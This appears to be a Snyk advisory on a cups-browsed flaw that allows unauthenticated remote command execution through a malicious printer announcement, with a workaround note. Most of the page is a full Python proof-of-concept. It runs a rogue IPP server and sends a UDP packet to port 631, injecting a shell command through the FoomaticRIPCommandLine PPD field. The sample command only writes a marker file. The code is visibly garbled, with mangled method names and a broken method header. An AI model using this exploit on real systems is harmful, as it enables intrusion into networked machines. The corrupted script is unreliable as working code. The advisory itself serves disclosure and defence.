This vulnerability is trending on Twitter; this may indicate a growing threat.
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for OpenPrinting/cups-browsed
.
Affected versions of this package are vulnerable to Binding to an Unrestricted IP Address due to the service binding to *:631 ( INADDR_ANY )
that allows anybody to send UDP datagrams to it. An attacker can execute arbitrary commands remotely on the target machine without authentication by introducing a malicious printer to the system. When a job is sent to that printer the malicious code will be executed via a CUPS filter with the payload defined in the FoomaticRIPCommandLine
PPD parameter.
Note:
This is only exploitable if CUPS services are enabled and exposed over the network.
Apply the workaround patch where the default BrowseRemoteProtocols
should not include "cups" protocol. A later complete fix will be complete removal of CUPS Browsing functionality.
Note: This vulnerability is being investigated and the advisory is being updated as new information is discovered.
Using the ippserver package, run as exploit.py ATTACKER_EXTERNAL_IP TARGET_IP
, will create the /tmp/I_AM_VULNERABLE
file on the target machine when a print job is started:
#!/usr/bin/env python3 import socket import threading import time import sys
from ippserver.server import IPPServer import ippserver.behaviour as behaviour from ippserver.server import IPPRequestHandler from ippserver.constants import ( OperationEnum, StatusCodeEnum, SectionEnum, TagEnum ) from ippserver.parsers import Integer, Enum, Boolean from ippserver.request import IppRequest
class MaliciousPrinter(behaviour.StatelessPrinter): def init(self, command): self.command = command super(MaliciousPrinter, self).init()
def printer_list_attributes(self): attr = { # rfc2911 section 4.4 ( SectionEnum.printer, b'printer-uri-supported', TagEnum.uri ): [self.printer_uri], ( SectionEnum.printer, b'uri-authentication-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'uri-security-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-name', TagEnum.name_without_language ): [b'Main Printer'], ( SectionEnum.printer, b'printer-info', TagEnum.text_without_language ): [b'Main Printer Info'], ( SectionEnum.printer, b'printer-make-and-model', TagEnum.text_without_language ): [b'HP 0.00'], ( SectionEnum.printer, b'printer-state', TagEnum.enum ): [Enum(3).bytes()], # XXX 3 is idle ( SectionEnum.printer, b'printer-state-reasons', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'ipp-versions-supported', TagEnum.keyword ): [b'1.1'], ( SectionEnum.printer, b'operations-supported', TagEnum.enum ): [ Enum(x).bytes() for x in ( OperationEnum.print_job, # (required by cups) OperationEnum.validate_job, # (required by cups) OperationEnum.cancel_job, # (required by cups) OperationEnum.get_job_attributes, # (required by cups) OperationEnum.get_printer_attributes, )], ( SectionEnum.printer, b'multiple-document-jobs-supported', TagEnum.boolean ): [Boolean(False).bytes()], ( SectionEnum.printer, b'charset-configured', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'charset-supported', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'natural-language-configured', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'generated-natural-language-supported', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'document-format-default', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'document-format-supported', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'printer-is-accepting-jobs', TagEnum.boolean ): [Boolean(True).bytes()], ( SectionEnum.printer, b'queued-job-count', TagEnum.integer ): [Integer(666).bytes()], ( SectionEnum.printer, b'pdl-override-supported', TagEnum.keyword ): [b'not-attempted'], ( SectionEnum.printer, b'printer-up-time', TagEnum.integer ): [Integer(self.printer_uptime()).bytes()], ( SectionEnum.printer, b'compression-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-privacy-policy-uri', TagEnum.uri ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' + self.command.encode() + b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'], } attr.update(super().minimal_attributes()) return attr def ](self, req, _psfile): print("target connected, sending payload ...") attributes = self.printer_list_attributes() return IppRequest( self.version, StatusCodeEnum.ok, req.request_id, attributes)
def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port): print("sending udp packet to %s:%d ..." % (ip, port))
printer_type = 0x00 printer_state = 0x03 printer_uri = 'http://%s:%d/printers/NAME' % ( ipp_server_host, ipp_server_port) printer_location = 'Office HQ' printer_info = 'Printer' message = bytes('%x %x %s "%s" "%s"' % (printer_type, printer_state, printer_uri, printer_location, printer_info), 'UTF-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message, (ip, port))
def wait_until_ctrl_c(): try: while True: time.sleep(300) except KeyboardInterrupt: return
def run_server(server): print('malicious ipp server listening on ', server.server_address) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() wait_until_ctrl_c() server.shutdown()
if name == "main": if len(sys.argv) != 3: print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0]) quit()
SERVER_HOST = sys.argv[1] SERVER_PORT = 12345 command = "echo 1 > /tmp/I_AM_VULNERABLE" server = IPPServer((SERVER_HOST, SERVER_PORT), IPPRequestHandler, MaliciousPrinter(command)) threading.Thread( target=run_server, args=(server, ) ).start() TARGET_HOST = sys.argv[2] TARGET_PORT = 631 send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT) print("wating ...") while True: time.sleep(1.0)
Then send a print job to the new printer in the target machine.